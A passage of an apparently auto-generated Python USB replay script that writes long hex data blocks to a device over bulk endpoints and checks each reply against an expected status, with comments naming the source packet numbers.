b\"\\xC9\\x8B\\x3F\\xDF\\x73\\x81\\x03\\x89\\x2D\\x39\\x63\\xBC\\x0E\\xA0\\x29\\x7C\"\n b\"\\xE0\\x3A\\xAD\\xB0\\x8D\\x2F\\x3A\\x9C\\x7B\\x07\\x13\\xB4\\x89\\x24\\x3B\\x1E\"\n b\"\\x78\\xD1\\x61\\xB9\\xAB\\xC3\\xA8\\xB7\\xA5\\xFF\\xA6\\xFD\\x58\\x14\\xA7\\xBE\"\n b\"\\x4F\\x0C\\x25\\xCC\\xC1\\xBD\\xA0\\x64\\x5C\\x19\\x17\\xAF\\x57\\x17\\x83\\xA1\"\n b\"\\xFD\\x43\\x6D\\x5E\\xA7\\x0B\\xE0\\x03\\x69\\x09\\xDB\\x7C\\x1F\\x66\\xB3\\x15\"\n b\"\\xE6\\x7D\\x4A\\x52\\xF0\\x52\\xD1\\xD6\\xC7\\x30\\x9A\\x63\")\n # Generated from packet 3003/3004\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3003/3004\")\n # Generated from packet 3005/3006\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x17\\xFC\\xC7\\xD8\\x30\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFB\\xF9\\x82\\xED\\xAF\\xEE\\xE3\\x27\"\n b\"\\x21\\xC1\\x28\\x4F\\xEA\\xA6\\x04\\x77\\xE9\\x48\\xDE\\x88\\xB6\\x21\\x9E\\x94\"\n b\"\\xB6\\x73\\x8B\\xFA\\x69\\xCE\\x77\\x5C\\xD9\\x4D\\xD1\\x49\\xD9\\x81\\xE5\\xBE\"\n b\"\\xD5\\xD3\\x78\\x85\\xBE\\x05\\x58\\x3D\\x1E\\x22\\x26\\x06\\x4C\\x56\\xCE\\x1C\"\n b\"\\x39\\x34\\x51\\x14\\xF0\\x0A\\x5E\\x3B\\xE0\\x2A\\x56\\xD1\\x3B\\xE0\\x82\\xF5\"\n b\"\\x70\\x39\\x99\\x34\\xA1\\x8B\\x74\\x5E\\x0B\\x95\\xD4\\x94\\x19\\x41\\x78\\x83\"\n b\"\\xC5\\xAC\\x0D\\xC3\\x91\\x89\\xF7\\xD1\\xC0\\x16\\xD2\\xA5\\x71\\x7D\\x76\\x2E\"\n b\"\\xA8\\x23\\x5A\\x56\\x9D\\x94\\x19\\xEF\\x94\\x3C\\x5D\\x03\\x72\\xC4\\x30\\x84\"\n b\"\\xD3\\x51\\x25\\x7D\\xEC\\xB0\\xFC\\x4D\\x1D\\xDE\\x52\\xCB\\x4A\\x2B\\x06\\x70\"\n b\"\\x42\\xC9\\x51\\xEE\\xDB\\x06\\xEE\\x2F\\x32\\x14\\x7A\\xA8\\x3E\\xC8\\xB2\\xFF\"\n b\"\\x13\\xFE\\x88\\x1C\\x94\\xAD\\x0E\\xC2\\x21\\xF5\\x07\\x93\\x47\\xE3\\x1E\\xED\"\n b\"\\xE0\\x6A\\x3D\\x49\\x46\\x28\\x66\\x21\\x83\\xC1\\xAE\\x84\\xB9\\x1F\\x64\\xDE\"\n b\"\\x2F\\x58\\x8D\\xA2\\x5E\\xAE\\xB3\\x6F\\x11\\x3F\\xEB\\xF3\\x02\\x4E\\x53\\xDF\"\n b\"\\x08\\x77\\x84\\x98\\x7A\\x0F\\x78\\x13\\x44\\x2E\\xC4\\xFD\\xCE\\xAC\\x32\\x72\"\n b\"\\xA7\\x19\\xF2\\x9C\\x8B\\x68\\xBE\\x58\\x38\\x70\\x83\\x0C\\x2C\\xF8\\x22\\xE6\"\n b\"\\x5F\\xA8\\x16\\xD7\\xF5\\x51\\x65\\xF9\\x08\\xA8\\x4F\\xC3\\x1F\\x27\\x70\\xD3\"\n b\"\\x50\\xD0\\x5F\\xDC\\xED\\xCB\\x87\\x6A\\x3E\\xA5\\x78\\x23\")\n # Generated from packet 3007/3008\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3007/3008\")\n # Generated from packet 3009/3010\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD9\\xAC\\xC9\\xCC\\x4A\\x7C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA3\\x18\\x9C\\x4C\\x52\\x12\\x52\\xCB\"\n b\"\\x05\\xE7\\x06\\x70\\x0D\\x05\\x51\\xEE\\x94\\xCA\\xEE\\x2F\\x7D\\xD8\\x7A\\xA8\"\n b\"\\x71\\x04\\xB2\\xFF\\x5C\\x32\\x88\\x1C\\xDB\\x61\\x0E\\xC2\\x6E\\x39\\x07\\x93\"\n b\"\\x08\\x2F\\x1E\\xED\\xAF\\xA6\\x3D\\x49\\x09\\xE4\\x66\\x21\\xCC\\x0D\\xAE\\x84\"\n b\"\\xF6\\xD3\\x64\\xDE\\x60\\x94\\x8D\\xA2\\x11\\x62\\xB3\\x6F\\x5E\\xF3\\xEB\\xF3\"\n b\"\\x4D\\x82\\x53\\xDF\\x47\\xBB\\x84\\x98\\x35\\xC3\\x78\\x13\\x0B\\xE2\\xC4\\xFD\"\n b\"\\x81\\x60\\x32\\x72\\xE8\\xD5\\xF2\\x9C\\xC4\\xA4\\xBE\\x58\\x77\\xBC\\x83\\x0C\"\n b\"\\x63\\x34\\x22\\xE6\\x10\\x64\\x16\\xD7\\xBA\\x9D\\x65\\xF9\\x47\\x64\\x4F\\xC3\"\n b\"\\x50\\xEB\\x70\\xD3\\x1F\\x1C\\x5F\\xDC\\xA2\\x07\\x87\\x6A\\x71\\x69\\x78\\x23\"\n b\"\\x38\\xED\\x6F\\xAC\\x39\\xD7\\x28\\x0A\\x39\\x41\\xF5\\xF2\\xDD\\xB5\\xC8\\x2D\"\n b\"\\x77\\x70\\x1C\\x24\\xCF\\x69\\x41\\x7E\\x1C\\xFF\\xEE\\x3B\\xE1\\x44\\x3D\\x28\"\n b\"\\x76\\x50\\x87\\x22\\x4A\\x06\\xD9\\x9A\\x2A\\x33\\xFA\\x03\\x60\\xF3\\x14\\x99\"\n b\"\\xE4\\x3F\\x79\\x8C\\x73\\x13\\x8F\\xA4\\x5A\\x3B\\x7D\\x87\\x72\\x91\\x8C\\x72\"\n b\"\\x28\\x36\\x5F\\x60\\xE1\\x38\\x51\\x5C\\xEF\\x72\\xAC\\xB7\\xEE\\x31\\xBB\\xAF\"\n b\"\\x6C\\x43\\x35\\x1E\\xE9\\xEB\\xA8\\xBA\\x5E\\x20\\xA3\\xB4\\xCA\\x2E\\x09\\xE0\"\n b\"\\x24\\xD1\\x53\\xA8\\xA9\\x8C\\x9D\\xAA\\x92\\xF3\\xEB\\xC5\\xFA\\x9A\\x12\\xDE\"\n b\"\\x03\\xDD\\x04\\xF1\\x98\\x59\\x33\\x93\\xD3\\xEC\\x5A\\x8F\")\n # Generated from packet 3011/3012\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3011/3012\")\n # Generated from packet 3013/3014\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB3\\x1E\\xE2\\xA0\\x10\\x24\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x3E\\xCA\\xA4\\x3D\\x7B\\x19\\x87\"\n b\"\\x16\\x30\\x74\\xF3\\x39\\xB8\\x68\\x2A\\xFE\\xE9\\x4F\\x7D\\xB0\\x94\\xFD\\xFE\"\n b\"\\xE0\\x68\\xA9\\xAD\\xE1\\xA3\\x27\\x82\\x2A\\xCB\\xEC\\xE5\\x06\\xF3\\xEF\\x0B\"\n b\"\\xDC\\x0C\\xB0\\x62\\x9C\\x10\\xB0\\x30\\x89\\x7E\\x6F\\x8D\\x75\\xD8\\xDF\\x0E\"\n b\"\\xD3\\xCD\\xDF\\xC2\\xE7\\x3A\\xD3\\x90\\x7A\\x01\\xB8\\x46\\x5A\\xB9\\x18\\x61\"\n b\"\\x24\\x82\\x4A\\x15\\xCC\\x98\\x3F\\x77\\x53\\x90\\xF6\\x49\\x5C\\xBF\\xE6\\x69\"\n b\"\\x54\\x55\\x3D\\xA3\\x80\\x71\\x76\\x7A\\x9B\\xB0\\xA7\\xC8\\x76\\xDA\\x0D\\xD6\"\n b\"\\xD6\\x10\\x1F\\x02\\x7A\\x07\\xC3\\xEF\\x0F\\x47\\x97\\xCA\\xF5\\x55\\xC6\\x55\"\n b\"\\xD0\\x21\\x77\\x3E\\x74\\xAA\\xAE\\x60\\x58\\xD2\\x9B\\xD7\\x1B\\x6B\\x92\\x7F\"\n b\"\\x5F\\x87\\x74\\x87\\x32\\x00\\xD5\\x12\\x27\\xF9\\xEA\\xF3\\xFE\\xC9\\x1B\\x9D\"\n b\"\\x50\\x4F\\x4C\\x68\\x04\\xF4\\x44\\x8A\\x53\\x6A\\xDD\\x45\\xEC\\xAB\\x34\\x57\"\n b\"\\x78\\x2C\\x38\\x8B\\xB0\\x7B\\x15\\xBD\\x8A\\x98\\x92\\xEE\\x0C\\x46\\x27\\xB6\"\n b\"\\x05\\x17\\x41\\xA0\\x1C\\x69\\xE6\\x29\\x3F\\xCD\\x40\\x6B\\x64\\xA5\\x85\\x82\"\n b\"\\xAC\\x00\\xBF\\x5C\\x66\\x5A\\x29\\x1B\\x8F\\x26\\x58\\xED\\xB1\\xEB\\x17\\x7C\"\n b\"\\xE9\\x77\\x04\\x0D\\x51\\x5B\\x0E\\x34\\x86\\x1C\\x7C\\x4C\\x7A\\x97\\x42\\x6D\"\n b\"\\xC6\\x79\\xC8\\xEF\\x30\\xF6\\xA1\\x5A\\xF0\\x18\\x8D\\x2B\\xBC\\xDC\\x3E\\x33\"\n b\"\\x81\\x88\\x2A\\xBB\\x20\\x62\\x59\\xEB\\x14\\x53\\xF3\\x12\")\n # Generated from packet 3015/3016\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3015/3016\")\n # Generated from packet 3017/3018\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7D\\x4E\\xEC\\xB4\\xEE\\x02\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC3\\x09\\x86\\x28\\xE0\\x09\\x40\\x6B\"\n b\"\\xBB\\x61\\x85\\x82\\x73\\xC4\\xBF\\x5C\\xB9\\x9E\\x29\\x1B\\x50\\xE2\\x58\\xED\"\n b\"\\x6E\\x2F\\x17\\x7C\\x36\\xB3\\x04\\x0D\\x8E\\x9F\\x0E\\x34\\x59\\xD8\\x7C\\x4C\"\n b\"\\xA5\\x53\\x42\\x6D\\x19\\xBD\\xC8\\xEF\\xEF\\x32\\xA1\\x5A\\x2F\\xDC\\x8D\\x2B\"\n b\"\\x63\\x18\\x3E\\x33\\x5E\\x4C\\x2A\\xBB\\xFF\\xA6\\x59\\xEB\\xCB\\x97\\xF3\\x12\"\n b\"\\xB8\\xB9\\x0E\\xEB\\x92\\x83\\x19\\x64\\xAD\\x93\\x56\\x93\\x82\\x9C\\xEB\\x88\"\n b\"\\x5A\\x2A\\x38\\xE6\\xA5\\x63\\x71\\x62\\xB2\\xEC\\x70\\x58\\xF5\\x4A\\x70\\xCE\"\n b\"\\x28\\xB2\\x94\\x3A\\x15\\x6D\\x3E\\xFF\\xC1\\x64\\x86\\xE6\\x9C\\x3E\\x55\\x70\"\n b\"\\x33\\x7B\\xA8\\xCB\\xE0\\x68\\x3F\\xDF\\x5A\\x62\\x03\\x89\\x04\\xDA\\x63\\xBC\"\n b\"\\x27\\x43\\x29\\x7C\\xC9\\xD9\\xAD\\xB0\\xA4\\xCC\\x3A\\x9C\\x52\\xE4\\x13\\xB4\"\n b\"\\xA0\\xC7\\x3B\\x1E\\x51\\x32\\x61\\xB9\\x82\\x20\\xA8\\xB7\\x8C\\x1C\\xA6\\xFD\"\n b\"\\x71\\xF7\\xA7\\xBE\\x66\\xEF\\x25\\xCC\\xE8\\x5E\\xA0\\x64\\x75\\xFA\\x17\\xAF\"\n b\"\\x7E\\xF4\\x83\\xA1\\xD4\\xA0\\x6D\\x5E\\x8E\\xE8\\xE0\\x03\\x40\\xEA\\xDB\\x7C\"\n b\"\\x36\\x85\\xB3\\x15\\xCF\\x9E\\x4A\\x52\\xD9\\xB1\\xD1\\xD6\\xEE\\xD3\\x9A\\x63\"\n b\"\\x87\\xCF\\x5D\\xE2\\x80\\xBA\\x01\\xA3\\xD5\\xA3\\x93\\x93\\x29\\xC8\\x6C\\x8A\"\n b\"\\x9C\\x2A\\xD8\\xDB\\xCF\\x7E\\xAA\\x67\\x7F\\x09\\x0D\\xD3\\x20\\x0A\\x9F\\x1A\"\n b\"\\xDF\\xCD\\x0C\\xD5\\xC1\\x0F\\xC1\\x08\\x97\\x03\\x30\\x99\")\n # Generated from packet 3019/3020\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3019/3020\")\n # Generated from packet 3021/3022\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2F\\xBF\\xFE\\x88\\x75\\x62\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\x66\\x4F\\x35\\xF9\\x36\\xA8\\x38\"\n b\"\\x25\\xFE\\xFF\\x15\\x13\\xC4\\x1C\\x92\\x40\\x42\\xC2\\x27\\x18\\x4B\\x93\\x41\"\n b\"\\x0E\\x52\\xED\\xE6\\x87\\x71\\x49\\x40\\xC5\\x2A\\x21\\x85\\x2C\\xE2\\x84\\xBF\"\n b\"\\xF2\\x28\\xDE\\x29\\xB5\\xC1\\xA2\\x58\\x43\\xFF\\x6F\\x17\\xD2\\xA7\\xF3\\x04\"\n b\"\\xA3\\x1F\\xDF\\x0E\\x9A\\xC8\\x98\\x7C\\xE2\\x34\\x13\\x42\\xC3\\x88\\xFD\\xC8\"\n b\"\\x41\\x7E\\x72\\xA1\\xF4\\xBE\\x9C\\x8D\\x85\\xF2\\x58\\x3E\\x9D\\xCF\\x0C\\x2A\"\n b\"\\x15\\x6E\\xE6\\x59\\x45\\x5A\\xD7\\xF3\\xBC\\x29\\xF9\\x0E\\x45\\x03\\xC3\\x19\"\n b\"\\xCA\\x3C\\xD3\\x56\\x3D\\x13\\xDC\\xEB\\x26\\xCB\\x6A\\x38\\x48\\x34\\x23\\x71\"\n b\"\\xCC\\x23\\xAC\\x70\\xF6\\x64\\x0A\\x70\\x60\\xB9\\xF2\\x94\\x94\\x84\\x2D\\x3E\"\n b\"\\x51\\x50\\x24\\x86\\x48\\x0D\\x7E\\x55\\xDE\\xA2\\x3B\\xA8\\x65\\x71\\x28\\x3F\"\n b\"\\x71\\xCB\\x22\\x03\\x27\\x95\\x9A\\x63\\x12\\xB6\\x03\\x29\\xD2\\x58\\x99\\xAD\"\n b\"\\x1E\\x35\\x8C\\x3A\\x32\\xC3\\xA4\\x13\\x1A\\x31\\x87\\x3B\\xB0\\xC0\\x72\\x61\"\n b\"\\x17\\x13\\x60\\xA8\\x19\\x1D\\x5C\\xA6\\x53\\xE0\\xB7\\xA7\\x10\\xF7\\xAF\\x25\"\n b\"\\x62\\x79\\x1E\\xA0\\xCA\\xE4\\xBA\\x17\\x01\\xEF\\xB4\\x83\\x0F\\x45\\xE0\\x6D\"\n b\"\\xF0\\x1F\\xA8\\xE0\\xAD\\xD1\\xAA\\xDB\\xD2\\xA7\\xC5\\xB3\\xBB\\x5E\\xDE\\x4A\"\n b\"\\xFC\\x48\\xF1\\xD1\\x78\\x7F\\x93\\x9A\\xCD\\x16\\x8F\\x5D\\x4C\\x11\\xFA\\x01\"\n b\"\\x0D\\x44\\xE3\\x93\\x3D\\xB8\\x88\\x6C\\x24\\x0D\\x6A\\xD8\")\n # Generated from packet 3023/3024\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3023/3024\")\n # Generated from packet 3025/3026\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE1\\xEF\\xF0\\x9C\\x6F\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD2\\xF1\\x31\\x15\\x1B\\x2B\\x5E\\x3B\"\n b\"\\x0B\\x0B\\x56\\xD1\\xD0\\xC1\\x82\\xF5\\x9B\\x18\\x99\\x34\\x4A\\xAA\\x74\\x5E\"\n b\"\\xE0\\xB4\\xD4\\x94\\xF2\\x60\\x78\\x83\\x2E\\x8D\\x0D\\xC3\\x7A\\xA8\\xF7\\xD1\"\n b\"\\x2B\\x37\\xD2\\xA5\\x9A\\x5C\\x76\\x2E\\x43\\x02\\x5A\\x56\\x76\\xB5\\x19\\xEF\"\n b\"\\x7F\\x1D\\x5D\\x03\\x99\\xE5\\x30\\x84\\x38\\x70\\x25\\x7D\\x07\\x91\\xFC\\x4D\"\n b\"\\xF6\\xFF\\x52\\xCB\\xA1\\x0A\\x06\\x70\\xA9\\xE8\\x51\\xEE\\x30\\x27\\xEE\\x2F\"\n b\"\\xD9\\x35\\x7A\\xA8\\xD5\\xE9\\xB2\\xFF\\xF8\\xDF\\x88\\x1C\\x7F\\x8C\\x0E\\xC2\"\n b\"\\xCA\\xD4\\x07\\x93\\xAC\\xC2\\x1E\\xED\\x0B\\x4B\\x3D\\x49\\xAD\\x09\\x66\\x21\"\n b\"\\x68\\xE0\\xAE\\x84\\x52\\x3E\\x64\\xDE\\xC4\\x79\\x8D\\xA2\\xB5\\x8F\\xB3\\x6F\"\n b\"\\xFA\\x1E\\xEB\\xF3\\xE9\\x6F\\x53\\xDF\\xE3\\x56\\x84\\x98\\x91\\x2E\\x78\\x13\"\n b\"\\xAF\\x0F\\xC4\\xFD\\x25\\x8D\\x32\\x72\\x4C\\x38\\xF2\\x9C\\x60\\x49\\xBE\\x58\"\n b\"\\xD3\\x51\\x83\\x0C\\xC7\\xD9\\x22\\xE6\\xB4\\x89\\x16\\xD7\\x1E\\x70\\x65\\xF9\"\n b\"\\xE3\\x89\\x4F\\xC3\\xF4\\x06\\x70\\xD3\\xBB\\xF1\\x5F\\xDC\\x06\\xEA\\x87\\x6A\"\n b\"\\xD5\\x84\\x78\\x23\\x9C\\x00\\x6F\\xAC\\x9D\\x3A\\x28\\x0A\\x9D\\xAC\\xF5\\xF2\"\n b\"\\x79\\x58\\xC8\\x2D\\xD3\\x9D\\x1C\\x24\\x6B\\x84\\x41\\x7E\\xB8\\x12\\xEE\\x3B\"\n b\"\\x45\\xA9\\x3D\\x28\\xD2\\xBD\\x87\\x22\\xEE\\xEB\\xD9\\x9A\\x8E\\xDE\\xFA\\x03\"\n b\"\\xC4\\x1E\\x14\\x99\\x40\\xD2\\x79\\x8C\\xD7\\xFE\\x8F\\xA4\")\n # Generated from packet 3027/3028\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3027/3028\")\n # Generated from packet 3029/3030\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFB\\xDB\\xA9\\x50\\x03\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA2\\x07\\x7D\\x42\\x64\\x24\\x75\\x25\"\n b\"\\x7B\\x19\\x22\\x48\\x47\\xA0\\x8B\\xD8\\xF1\\x1F\\xD2\\x83\\xEB\\x1F\\x7B\\xFF\"\n b\"\\xC9\\x1E\\x3D\\xEE\\x08\\xED\\x86\\x87\\x59\\xB5\\xFF\\xEE\\xE5\\x8D\\xDD\\xC7\"\n b\"\\x36\\xD9\\x98\\x62\\x5E\\x6A\\xA5\\x3F\\x9F\\xD9\\x87\\x14\\xD4\\xB4\\xF3\\x3B\"\n b\"\\x5C\\xA8\\x2A\\xFC\\x0D\\x8F\\x7D\\xB2\\x70\\x3D\\xFE\\xE2\\x8C\\x69\\xAD\\xE3\"\n b\"\\x47\\xE7\\x82\\x28\\x2F\\x2C\\xE5\\x04\\x17\\x2F\\x0B\\xDE\\xE8\\x70\\x62\\x9E\"\n b\"\\xF4\\x70\\x30\\x8B\\x9A\\xAF\\x8D\\x77\\x3C\\x1F\\x0E\\xD1\\x29\\x1F\\xC2\\xE5\"\n b\"\\xDE\\x13\\x90\\x78\\xE5\\x78\\x46\\x58\\x5D\\xD8\\x61\\x26\\x66\\x8A\\x15\\xCE\"\n b\"\\x7C\\xFF\\x77\\x51\\x74\\x36\\x49\\x5E\\x5B\\x26\\x69\\x56\\xB1\\xFD\\xA3\\x82\"\n b\"\\x95\\xB6\\x7A\\x99\\x54\\x67\\xC8\\x74\\x3E\\xCD\\xD6\\xD4\\xF4\\xDF\\x02\\x78\"\n b\"\\xE3\\x03\\xEF\\x0D\\xA3\\x57\\xCA\\xF7\\xB1\\x06\\x55\\xD2\\xC5\\xB7\\x3E\\x76\"\n b\"\\x4E\\x6E\\x60\\x5A\\x36\\x5B\\xD7\\x19\\x8F\\x52\\x7F\\x5D\\x63\\xB4\\x87\\x30\"\n b\"\\xE4\\x15\\x12\\x25\\x1D\\x2A\\xF3\\xFC\\x2D\\xDB\\x9D\\x52\\xAB\\x8C\\x68\\x06\"\n b\"\\x10\\x84\\x8A\\x51\\x8E\\x1D\\x45\\xEE\\x4F\\xF4\\x57\\x7A\\xC8\\xF8\\x8B\\xB2\"\n b\"\\x9F\\xD5\\xBD\\x88\\x7C\\x52\\xEE\\x0E\\xA2\\xE7\\xB6\\x07\\xF3\\x81\\xA0\\x1E\"\n b\"\\x8D\\x26\\x29\\x3D\\x29\\x80\\x6B\\x66\\x41\\x45\\x82\\xAE\\xE4\\x7F\\x5C\\x64\"\n b\"\\xBE\\xE9\\x1B\\x8D\\xC2\\x98\\xED\\xB3\\x0F\\xD7\\x7C\\xEB\")\n # Generated from packet 3031/3032\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3031/3032\")\n # Generated from packet 3033/3034\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x35\\x8B\\xA7\\x44\\x2F\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x22\\x53\\x79\\x99\\x87\\x1E\\xAA\\xA5\"\n b\"\\xDA\\xDF\\x19\\x87\\xF1\\x94\\x74\\xF3\\xDE\\x1C\\x68\\x2A\\x19\\x4D\\x4F\\x7D\"\n b\"\\x57\\x30\\xFD\\xFE\\x07\\xCC\\xA9\\xAD\\x06\\x07\\x27\\x82\\xCD\\x6F\\xEC\\xE5\"\n b\"\\xE1\\x57\\xEF\\x0B\\x3B\\xA8\\xB0\\x62\\x7B\\xB4\\xB0\\x30\\x6E\\xDA\\x6F\\x8D\"\n b\"\\x92\\x7C\\xDF\\x0E\\x34\\x69\\xDF\\xC2\\x00\\x9E\\xD3\\x90\\x9D\\xA5\\xB8\\x46\"\n b\"\\xBD\\x1D\\x18\\x61\\xC3\\x26\\x4A\\x15\\x2B\\x3C\\x3F\\x77\\xB4\\x34\\xF6\\x49\"\n b\"\\xBB\\x1B\\xE6\\x69\\xB3\\xF1\\x3D\\xA3\\x67\\xD5\\x76\\x7A\\x7C\\x14\\xA7\\xC8\"\n b\"\\x91\\x7E\\x0D\\xD6\\x31\\xB4\\x1F\\x02\\x9D\\xA3\\xC3\\xEF\\xE8\\xE3\\x97\\xCA\"\n b\"\\x12\\xF1\\xC6\\x55\\x37\\x85\\x77\\x3E\\x93\\x0E\\xAE\\x60\\xBF\\x76\\x9B\\xD7\"\n b\"\\xFC\\xCF\\x92\\x7F\\xB8\\x23\\x74\\x87\\xD5\\xA4\\xD5\\x12\\xC0\\x5D\\xEA\\xF3\"\n b\"\\x19\\x6D\\x1B\\x9D\\xB7\\xEB\\x4C\\x68\\xE3\\x50\\x44\\x8A\\xB4\\xCE\\xDD\\x45\"\n b\"\\x0B\\x0F\\x34\\x57\\x9F\\x88\\x38\\x8B\\x57\\xDF\\x15\\xBD\\x6D\\x3C\\x92\\xEE\"\n b\"\\xEB\\xE2\\x27\\xB6\\xE2\\xB3\\x41\\xA0\\xFB\\xCD\\xE6\\x29\\xD8\\x69\\x40\\x6B\"\n b\"\\x83\\x01\\x85\\x82\\x4B\\xA4\\xBF\\x5C\\x81\\xFE\\x29\\x1B\\x68\\x82\\x58\\xED\"\n b\"\\x56\\x4F\\x17\\x7C\\x0E\\xD3\\x04\\x0D\\xB6\\xFF\\x0E\\x34\\x61\\xB8\\x7C\\x4C\"\n b\"\\x9D\\x33\\x42\\x6D\\x21\\xDD\\xC8\\xEF\\xD7\\x52\\xA1\\x5A\\x17\\xBC\\x8D\\x2B\"\n b\"\\x5B\\x78\\x3E\\x33\\x66\\x2C\\x2A\\xBB\\xC7\\xC6\\x59\\xEB\")\n # Generated from packet 3035/3036\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3035/3036\")\n # Generated from packet 3037/3038\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x67\\x7A\\xB5\\x78\\x9E\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC8\\x5D\\x32\\xCA\\x9F\\xED\\x06\\x70\"\n b\"\\x97\\x0F\\x51\\xEE\\x0E\\xC0\\xEE\\x2F\\xE7\\xD2\\x7A\\xA8\\xEB\\x0E\\xB2\\xFF\"\n b\"\\xC6\\x38\\x88\\x1C\\x41\\x6B\\x0E\\xC2\\xF4\\x33\\x07\\x93\\x92\\x25\\x1E\\xED\"\n b\"\\x35\\xAC\\x3D\\x49\\x93\\xEE\\x66\\x21\\x56\\x07\\xAE\\x84\\x6C\\xD9\\x64\\xDE\"\n b\"\\xFA\\x9E\\x8D\\xA2\\x8B\\x68\\xB3\\x6F\\xC4\\xF9\\xEB\\xF3\\xD7\\x88\\x53\\xDF\"\n b\"\\xDD\\xB1\\x84\\x98\\xAF\\xC9\\x78\\x13\\x91\\xE8\\xC4\\xFD\\x1B\\x6A\\x32\\x72\"\n b\"\\x72\\xDF\\xF2\\x9C\\x5E\\xAE\\xBE\\x58\\xED\\xB6\\x83\\x0C\\xF9\\x3E\\x22\\xE6\"\n b\"\\x8A\\x6E\\x16\\xD7\\x20\\x97\\x65\\xF9\\xDD\\x6E\\x4F\\xC3\\xCA\\xE1\\x70\\xD3\"\n b\"\\x85\\x16\\x5F\\xDC\\x38\\x0D\\x87\\x6A\\xEB\\x63\\x78\\x23\\xA2\\xE7\\x6F\\xAC\"\n b\"\\xA3\\xDD\\x28\\x0A\\xA3\\x4B\\xF5\\xF2\\x47\\xBF\\xC8\\x2D\\xED\\x7A\\x1C\\x24\"\n b\"\\x55\\x63\\x41\\x7E\\x86\\xF5\\xEE\\x3B\\x7B\\x4E\\x3D\\x28\\xEC\\x5A\\x87\\x22\"\n b\"\\xD0\\x0C\\xD9\\x9A\\xB0\\x39\\xFA\\x03\\xFA\\xF9\\x14\\x99\\x7E\\x35\\x79\\x8C\"\n b\"\\xE9\\x19\\x8F\\xA4\\xC0\\x31\\x7D\\x87\\xE8\\x9B\\x8C\\x72\\xB2\\x3C\\x5F\\x60\"\n b\"\\x7B\\x32\\x51\\x5C\\x75\\x78\\xAC\\xB7\\x74\\x3B\\xBB\\xAF\\xF6\\x49\\x35\\x1E\"\n b\"\\x73\\xE1\\xA8\\xBA\\xC4\\x2A\\xA3\\xB4\\x50\\x24\\x09\\xE0\\xBE\\xDB\\x53\\xA8\"\n b\"\\x33\\x86\\x9D\\xAA\\x08\\xF9\\xEB\\xC5\\x60\\x90\\x12\\xDE\\x99\\xD7\\x04\\xF1\"\n b\"\\x02\\x53\\x33\\x93\\x49\\xE6\\x5A\\x8F\\x8E\\x67\\x5D\\xFA\")\n # Generated from packet 3039/3040\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3039/3040\")\n # Generated from packet 3041/3042\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA9\\x2A\\xBB\\x6C\\x6A\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x2C\\x14\\x86\\x7D\\xCE\\xD5\\x12\"\n b\"\\x68\\x37\\xEA\\xF3\\xB1\\x07\\x1B\\x9D\\x1F\\x81\\x4C\\x68\\x4B\\x3A\\x44\\x8A\"\n b\"\\x1C\\xA4\\xDD\\x45\\xA3\\x65\\x34\\x57\\x37\\xE2\\x38\\x8B\\xFF\\xB5\\x15\\xBD\"\n b\"\\xC5\\x56\\x92\\xEE\\x43\\x88\\x27\\xB6\\x4A\\xD9\\x41\\xA0\\x53\\xA7\\xE6\\x29\"\n b\"\\x70\\x03\\x40\\x6B\\x2B\\x6B\\x85\\x82\\xE3\\xCE\\xBF\\x5C\\x29\\x94\\x29\\x1B\"\n 